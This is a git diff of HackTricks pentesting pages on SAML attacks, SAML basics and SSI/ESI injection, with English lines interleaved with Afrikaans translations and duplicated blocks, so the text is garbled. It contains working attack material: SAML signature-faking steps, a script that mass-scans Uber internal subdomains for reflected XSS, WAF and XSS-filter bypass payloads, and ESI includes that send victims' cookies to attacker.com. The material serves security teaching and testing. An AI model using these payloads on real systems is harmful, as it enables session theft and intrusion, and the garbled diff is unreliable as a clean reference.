Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.
Sertifikaat Valsheid is 'n tegniek om te toets of 'n **Diensverskaffer (SP) behoorlik verifieer dat 'n SAML Boodskap onderteken is** deur 'n vertroude Identiteitsverskaffer (IdP). Dit behels die gebruik van 'n \***self-signed certificate** om die SAML Antwoord of Asertering te onderteken, wat help om die vertrouensvalidasieproses tussen SP en IdP te evalueer.
### How to Conduct Certificate Faking
### Hoe om Sertifikaat Valsheid uit te voer
The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
Die volgende stappe skets die proses met die [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp uitbreiding:
1. Intercept the SAML Response.
2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button.
3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate.
4. Go back to the intercepted request in Burps Proxy. Select the new self-signed certificate from the XML Signature dropdown.
5. Remove any existing signatures with the `Remove Signatures` button.
6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate.
7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
1. Intercepteer die SAML Antwoord.
2. As die antwoord 'n handtekening bevat, stuur die sertifikaat na SAML Raider Certs met die `Stuur Sertifikaat na SAML Raider Certs` knoppie.
3. In die SAML Raider Sertifikate oortjie, kies die ingevoerde sertifikaat en klik `Stoor en Self-Handteken` om 'n self-ondertekende kloon van die oorspronklike sertifikaat te skep.
4. Gaan terug na die geïntercepteerde versoek in Burp se Proxy. Kies die nuwe self-ondertekende sertifikaat uit die XML Handtekening keuselys.
5. Verwyder enige bestaande handtekeninge met die `Verwyder Handtekeninge` knoppie.
6. Onderteken die boodskap of asertering met die nuwe sertifikaat met die **`(Her-)Onderteken Boodskap`** of **`(Her-)Onderteken Asertering`** knoppie, soos toepaslik.
7. Stuur die ondertekende boodskap voort. Suksevolle autentisering dui aan dat die SP boodskappe onderteken deur jou self-ondertekende sertifikaat aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
## Token Ontvanger Verwarring / Diensverskaffer Teiken Verwarring <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.
Token Ontvanger Verwarring en Diensverskaffer Teiken Verwarring behels die toets of die **Diensverskaffer die bedoelde ontvanger van 'n antwoord korrek valideer**. In wese moet 'n Diensverskaffer 'n autentikasieantwoord verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die **Ontvanger** veld, wat binne die **SubjectConfirmationData** element van 'n SAML Antwoord gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Asertering gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, moet die Asertering as ongeldig beskou word.
#### **How It Works**
#### **Hoe Dit Werk**
For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
Vir 'n SAML Token Ontvanger Verwarring (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes nagekom word. Eerstens, daar moet 'n geldige rekening op 'n Diensverskaffer wees (genoem SP-Legit). Tweedens, die geteikende Diensverskaffer (SP-Target) moet tokens van dieselfde Identiteitsverskaffer aanvaar wat SP-Legit bedien.
Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Egte sessie word geinitieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML Antwoord van die Identiteitsverskaffer na SP-Legit word geïntercepteer. Hierdie geïntercepteerde SAML Antwoord, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Target. Sukces in hierdie aanval word gemeet deur SP-Target wat die Asertering aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## XSS in Logout funksionaliteit
## XSS in Logout functionality
The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
During the process of directory brute forcing, a logout page was discovered at:
Die oorspronklike navorsing kan deur [hierdie skakel](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) verkry word.
Tydens die proses van gids brute forcing, is 'n afmeldbladsy ontdek by:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Upon accessing this link, a redirection occurred to:
By die toegang tot hierdie skakel het 'n herleiding plaasgevind na:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack.
Dit het onthul dat die `base` parameter 'n URL aanvaar. In ag genome, het die idee ontstaan om die URL te vervang met `javascript:alert(123);` in 'n poging om 'n XSS (Cross-Site Scripting) aanval te begin.
### Mass Exploitation
[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
[Uit hierdie navorsing](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
Die [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) hulpmiddel is gebruik om subdomeine van `uberinternal.com` te analiseer vir domeine wat dieselfde biblioteek gebruik. Daarna is 'n skrip ontwikkel om die `oidauth/prompt` bladsy te teiken. Hierdie skrip toets vir XSS (Cross-Site Scripting) deur data in te voer en te kyk of dit in die uitvoer weerspieël word. In gevalle waar die invoer inderdaad weerspieël word, merk die skrip die bladsy as kwesbaar.
```python
import requests
import urllib3
@ -286,17 +271,16 @@ from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## References
## Verwysings
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
@ -304,4 +288,3 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,168 +1,161 @@
{{#include ../../banners/hacktricks-training.md}}
# SAML Overview
# SAML Oorsig
**Security Assertion Markup Language (SAML)** enables identity providers (IdP) to be utilized for sending authorization credentials to service providers (SP), facilitating single sign-on (SSO). This approach simplifies the management of multiple logins by allowing a single set of credentials to be used across multiple websites. It leverages XML for standardized communication between IdPs and SPs, linking the authentication of user identity with service authorization.
**Security Assertion Markup Language (SAML)** stel identiteitsverskaffers (IdP) in staat om gebruik te word om magtigingsbewyse na diensverskaffers (SP) te stuur, wat enkel aanmelding (SSO) fasiliteer. Hierdie benadering vereenvoudig die bestuur van verskeie aanmeldings deur 'n enkele stel van bewysstukke oor verskeie webwerwe te gebruik. Dit benut XML vir gestandaardiseerde kommunikasie tussen IdP's en SP's, wat die verifikasie van gebruikersidentiteit met diensmagtiging verbind.
## Comparison between SAML and OAuth
## Vergelyking tussen SAML en OAuth
- **SAML** is tailored towards providing enterprises with greater control over SSO login security.
- **OAuth** is designed to be more mobile-friendly, uses JSON, and is a collaborative effort from companies like Google and Twitter.
- **SAML** is daarop gemik om ondernemings groter beheer oor SSO aanmeldingsveiligheid te bied.
- **OAuth** is ontwerp om meer mobiele-vriendelik te wees, gebruik JSON, en is 'n samewerkende poging van maatskappye soos Google en Twitter.
# SAML Authentication Flow
# SAML Verifikasie Stroom
**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:
**Vir verdere besonderhede, kyk na die volledige pos van [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Dit is 'n opsomming:
The SAML authentication process involves several steps, as illustrated in the schema:
Die SAML verifikasieproses behels verskeie stappe, soos geïllustreer in die skema:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Resource Access Attempt**: The user tries to access a protected resource.
2. **SAML Request Generation**: The SP does not recognize the user and generates a SAML Request.
3. **Redirect to IdP**: The user is redirected to the IdP, with the SAML Request passing through the user's browser.
4. **IdP Receives Request**: The IdP receives the SAML Request.
5. **Authentication at IdP**: The IdP authenticates the user.
6. **User Validation**: The IdP validates the user's legitimacy to access the requested resource.
7. **SAML Response Creation**: The IdP generates a SAML Response containing necessary assertions.
8. **Redirect to SP's ACS URL**: The user is redirected to the SP's Assertion Consumer Service (ACS) URL.
9. **SAML Response Validation**: The ACS validates the SAML Response.
10. **Resource Access Granted**: Access to the initially requested resource is granted.
1. **Hulpbron Toegang Poging**: Die gebruiker probeer om toegang te verkry tot 'n beskermde hulpbron.
2. **SAML Versoek Generasie**: Die SP herken nie die gebruiker nie en genereer 'n SAML Versoek.
3. **Herlei na IdP**: Die gebruiker word na die IdP herlei, met die SAML Versoek wat deur die gebruiker se blaaier gaan.
4. **IdP Ontvang Versoek**: Die IdP ontvang die SAML Versoek.
5. **Verifikasie by IdP**: Die IdP verifieer die gebruiker.
6. **Gebruiker Validasie**: Die IdP valideer die gebruiker se legitimiteit om toegang tot die aangevraagde hulpbron te verkry.
7. **SAML Antwoord Skepping**: Die IdP genereer 'n SAML Antwoord wat nodige bevestigings bevat.
8. **Herlei na SP se ACS URL**: Die gebruiker word na die SP se Assertion Consumer Service (ACS) URL herlei.
9. **SAML Antwoord Validasie**: Die ACS valideer die SAML Antwoord.
10. **Hulpbron Toegang Gegee**: Toegang tot die aanvanklik aangevraagde hulpbron word gegee.
# SAML Request Example
Consider the scenario where a user requests access to a secure resource at [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). The SP identifies the lack of authentication and generates a SAML Request:
# SAML Versoek Voorbeeld
Oorweeg die scenario waar 'n gebruiker toegang tot 'n veilige hulpbron by [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) aanvra. Die SP identifiseer die gebrek aan verifikasie en genereer 'n SAML Versoek:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
The raw SAML Request looks like this:
Die rou SAML-versoek lyk soos volg:
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
Belangrike elemente van hierdie versoek sluit in:
Key elements of this request include:
- **AssertionConsumerServiceURL**: Gee aan waar die IdP die SAML Response na die verifikasie moet stuur.
- **Destination**: Die IdP se adres waarnatoe die versoek gestuur word.
- **ProtocolBinding**: Definieer die oordragmetode van SAML-protokolboodskappe.
- **saml:Issuer**: Identifiseer die entiteit wat die versoek geïnisieer het.
- **AssertionConsumerServiceURL**: Specifies where the IdP should send the SAML Response post-authentication.
- **Destination**: The IdP's address to which the request is sent.
- **ProtocolBinding**: Defines the transmission method of SAML protocol messages.
- **saml:Issuer**: Identifies the entity that initiated the request.
Na die generering van die SAML Versoek, reageer die SP met 'n **302 redirect**, wat die blaaier na die IdP lei met die SAML Versoek gekodeer in die HTTP response se **Location** kop. Die **RelayState** parameter handhaaf die staat-inligting deur die transaksie, wat verseker dat die SP die aanvanklike hulpbron versoek herken wanneer die SAML Response ontvang word. Die **SAMLRequest** parameter is 'n gecomprimeerde en gekodeerde weergawe van die rou XML-snippet, wat Deflate-kompressie en base64-kodering gebruik.
Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
# SAML Response Voorbeeld
# SAML Response Example
Jy kan 'n [volle SAML response hier vind](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Die sleutelkomponente van die response sluit in:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**: Hierdie afdeling, 'n XML Handtekening, verseker die integriteit en egtheid van die uitgever van die bevestiging. Die SAML response in die voorbeeld bevat twee `ds:Signature` elemente, een vir die boodskap en die ander vir die bevestiging.
- **saml:Assertion**: Hierdie deel hou inligting oor die gebruiker se identiteit en moontlik ander eienskappe.
- **saml:Subject**: Dit spesifiseer die hoofonderwerp van al die stellings in die bevestiging.
- **saml:StatusCode**: Verteenwoordig die status van die operasie in reaksie op die ooreenstemmende versoek.
- **saml:Conditions**: Beskryf voorwaardes soos die geldigheidstyd van die Bevestiging en die gespesifiseerde Diensverskaffer.
- **saml:AuthnStatement**: Bevestig dat die IdP die onderwerp van die Bevestiging geverifieer het.
- **saml:AttributeStatement**: Bevat eienskappe wat die onderwerp van die Bevestiging beskryf.
- **ds:Signature**: This section, an XML Signature, ensures the integrity and authenticity of the issuer of the assertion. The SAML response in the example contains two `ds:Signature` elements, one for the message and the other for the assertion.
- **saml:Assertion**: This part holds information about the user's identity and possibly other attributes.
- **saml:Subject**: It specifies the principal subject of all the statements in the assertion.
- **saml:StatusCode**: Represents the status of the operation in response to the corresponding request.
- **saml:Conditions**: Details conditions like the validity timing of the Assertion and the specified Service Provider.
- **saml:AuthnStatement**: Confirms that the IdP authenticated the subject of the Assertion.
- **saml:AttributeStatement**: Contains attributes describing the subject of the Assertion.
Na die SAML Response sluit die proses 'n 302 redirect van die IdP in. Dit lei tot 'n POST versoek na die Diensverskaffer se Assertion Consumer Service (ACS) URL. Die POST versoek sluit `RelayState` en `SAMLResponse` parameters in. Die ACS is verantwoordelik vir die verwerking en validasie van die SAML Response.
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
Nadat die POST versoek ontvang is en die SAML Response geverifieer is, word toegang verleen tot die beskermde hulpbron wat aanvanklik deur die gebruiker versoek is. Dit word geïllustreer met 'n `GET` versoek na die `/secure/` eindpunt en 'n `200 OK` response, wat suksesvolle toegang tot die hulpbron aandui.
After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
# XML Handtekeninge
# XML Signatures
XML Handtekeninge is veelsydig, in staat om 'n hele XML-boom of spesifieke elemente daarin te teken. Hulle kan op enige XML Objekt toegepas word, nie net Response elemente nie. Hieronder is die sleutelsoorte van XML Handtekeninge:
XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:
### Basic Structure of XML Signature
An XML Signature consists of essential elements as shown:
### Basiese Struktuur van XML Handtekening
'n XML Handtekening bestaan uit noodsaaklike elemente soos getoon:
```xml
<Signature>
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
...
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
...
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
</Signature>
```
Elke `Reference` element dui 'n spesifieke hulpbron aan wat onderteken word, identifiseerbaar deur die URI attribuut.
Each `Reference` element signifies a specific resource being signed, identifiable by the URI attribute.
### Tipes XML Handtekeninge
### Types of XML Signatures
1. **Omhulde Handtekening**: Hierdie tipe handtekening is 'n afstammeling van die hulpbron wat dit onderteken, wat beteken dat die handtekening binne dieselfde XML-struktuur as die ondertekende inhoud bevat is.
1. **Enveloped Signature**: This type of signature is a descendant of the resource it signs, meaning the signature is contained within the same XML structure as the signed content.
Voorbeeld:
Example:
```xml
<samlp:Response ... ID="..." ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
```xml
<samlp:Response ... ID="..." ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
In 'n omhulde handtekening spesifiseer die `ds:Transform` element dat dit omhul is deur die `enveloped-signature` algoritme.
In an enveloped signature, the `ds:Transform` element specifies that it's enveloped through the `enveloped-signature` algorithm.
2. **Omhulende Handtekening**: In teenstelling met omhulde handtekeninge, omhulende handtekeninge verpak die hulpbron wat onderteken word.
2. **Enveloping Signature**: Contrasting with enveloped signatures, enveloping signatures wrap the resource being signed.
Voorbeeld:
Example:
```xml
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
</ds:Signature>
```
```xml
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
</ds:Signature>
```
3. **Afgeskeurde Handtekening**: Hierdie tipe is apart van die inhoud wat dit onderteken. Die handtekening en die inhoud bestaan onafhanklik, maar 'n skakel tussen die twee word gehandhaaf.
3. **Detached Signature**: This type is separate from the content it signs. The signature and the content exist independently, but a link between the two is maintained.
Voorbeeld:
Example:
```xml
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
```xml
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
Ten slotte bied XML Handtekeninge buigsame maniere om XML-dokumente te beveilig, met elke tipe wat verskillende strukturele en sekuriteitsbehoeftes dien.
In conclusion, XML Signatures provide flexible ways to secure XML documents, with each type serving different structural and security needs.
## References
## Verwysings
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,31 +2,28 @@
{{#include ../banners/hacktricks-training.md}}
## Server Side Inclusion Basic Information
## Server Side Inclusion Basiese Inligting
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
**(Inleiding geneem uit** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:
SSI (Server Side Includes) is riglyne wat in HTML-bladsye geplaas word, en op die bediener geëvalueer word terwyl die bladsye bedien word. Dit laat jou toe om dinamies gegenereerde inhoud by 'n bestaande HTML-bladsy te voeg, sonder om die hele bladsy via 'n CGI-program of ander dinamiese tegnologie te bedien.\
Byvoorbeeld, jy mag 'n riglyn in 'n bestaande HTML-bladsy plaas, soos:
`<!--#echo var="DATE_LOCAL" -->`
And, when the page is served, this fragment will be evaluated and replaced with its value:
En, wanneer die bladsy bedien word, sal hierdie fragment geëvalueer word en met sy waarde vervang word:
`Tuesday, 15-Jan-2013 19:28:54 EST`
`Dinsdag, 15-Jan-2013 19:28:54 EST`
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n kwessie van hoeveel van die bladsy staties is, en hoeveel elke keer herbereken moet word wanneer die bladsy bedien word. SSI is 'n uitstekende manier om klein stukke inligting by te voeg, soos die huidige tyd - soos hierbo getoon. Maar as 'n meerderheid van jou bladsy teen die tyd dat dit bedien word, gegenereer word, moet jy na 'n ander oplossing soek.
You can infer the presence of SSI if the web application uses files with the extension&#x73;**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.
A typical SSI expression has the following format:
Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uitbreiding&#x73;**`.shtml`, `.shtm` of `.stm`** gebruik, maar dit is nie die enigste geval nie.
'n Tipiese SSI-uitdrukking het die volgende formaat:
```
<!--#directive param="value" -->
```
### Check
### Kontroleer
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
@ -57,23 +54,19 @@ A typical SSI expression has the following format:
<!--#set var="name" value="Rich" -->
```
## Edge Side Inclusion
There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\
If an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users.
Daar is 'n probleem **met die kas van inligting of dinamiese toepassings** aangesien die **inhoud** vir die volgende keer wat die inhoud opgehaal word, **verskillend** mag wees. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** in die dokument te **injekteer** voordat dit aan die gebruikers gestuur word.
### ESI Detection
The following **header** in a response from the server means that the server is using ESI:
Die volgende **kop** in 'n antwoord van die bediener beteken dat die bediener ESI gebruik:
```
Surrogate-Control: content="ESI/1.0"
```
If you can't find this header, the server **might be using ESI anyways**.\
A **blind exploitation approach can also be used** as a request should arrive to the attackers server:
As jy hierdie kop nie kan vind nie, **kan die bediener steeds ESI gebruik**.\
'n **blindeksploitasi benadering kan ook gebruik word** aangesien 'n versoek na die aanvallers bediener moet aankom:
```javascript
// Basic detection
hell<!--esi-->o
@ -94,36 +87,32 @@ hell<!--esi-->o
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESI-uitbuiting
### ESI exploitation
[GoSecure het geskep](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 'n tabel om moontlike aanvalle te verstaan wat ons teen verskillende ESI-ondersteunde sagteware kan probeer, afhangende van die funksionaliteit wat ondersteun word:
[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:
- **Includes**: Ondersteun die `<esi:includes>` riglyn
- **Vars**: Ondersteun die `<esi:vars>` riglyn. Nuttig om XSS-filters te omseil
- **Cookie**: Dokumentkoekies is beskikbaar vir die ESI-enjin
- **Opwaartse Koppe Vereis**: Surrogaat toepassings sal nie ESI-verklarings verwerk nie tensy die opwaartse toepassing die koppe verskaf
- **Gasheer Toegelaatlys**: In hierdie geval is ESI-includes slegs moontlik vanaf toegelate bediener gasheers, wat SSRF, byvoorbeeld, slegs teen daardie gasheers moontlik maak
- **Includes**: Supports the `<esi:includes>` directive
- **Vars**: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
- **Cookie**: Document cookies are accessible to the ESI engine
- **Upstream Headers Required**: Surrogate applications will not process ESI statements unless the upstream application provides the headers
- **Host Allowlist**: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
| **Sagteware** | **Includes** | **Vars** | **Koekies** | **Opwaartse Koppe Vereis** | **Gasheer Witlys** |
| :----------------------------: | :----------: | :------: | :---------: | :------------------------: | :----------------: |
| Squid3 | Ja | Ja | Ja | Ja | Nee |
| Varnish Cache | Ja | Nee | Nee | Ja | Ja |
| Fastly | Ja | Nee | Nee | Nee | Ja |
| Akamai ESI Toetsbediener (ETS) | Ja | Ja | Ja | Nee | Nee |
| NodeJS esi | Ja | Ja | Ja | Nee | Nee |
| NodeJS nodesi | Ja | Nee | Nee | Nee | Opsioneel |
#### XSS
The following ESI directive will load an arbitrary file inside the response of the server
Die volgende ESI-riglyn sal 'n arbitrêre lêer binne die antwoord van die bediener laai
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Bypass client XSS protection
#### Om klante XSS-beskerming te omseil
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -131,18 +120,14 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Steel Koekie
#### Steal Cookie
- Remote steal cookie
- Afgeleë steel koekie
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- Steal cookie HTTP_ONLY with XSS by reflecting it in the response:
- Steel koekie HTTP_ONLY met XSS deur dit in die antwoord te reflekteer:
```bash
# This will reflect the cookies in the response
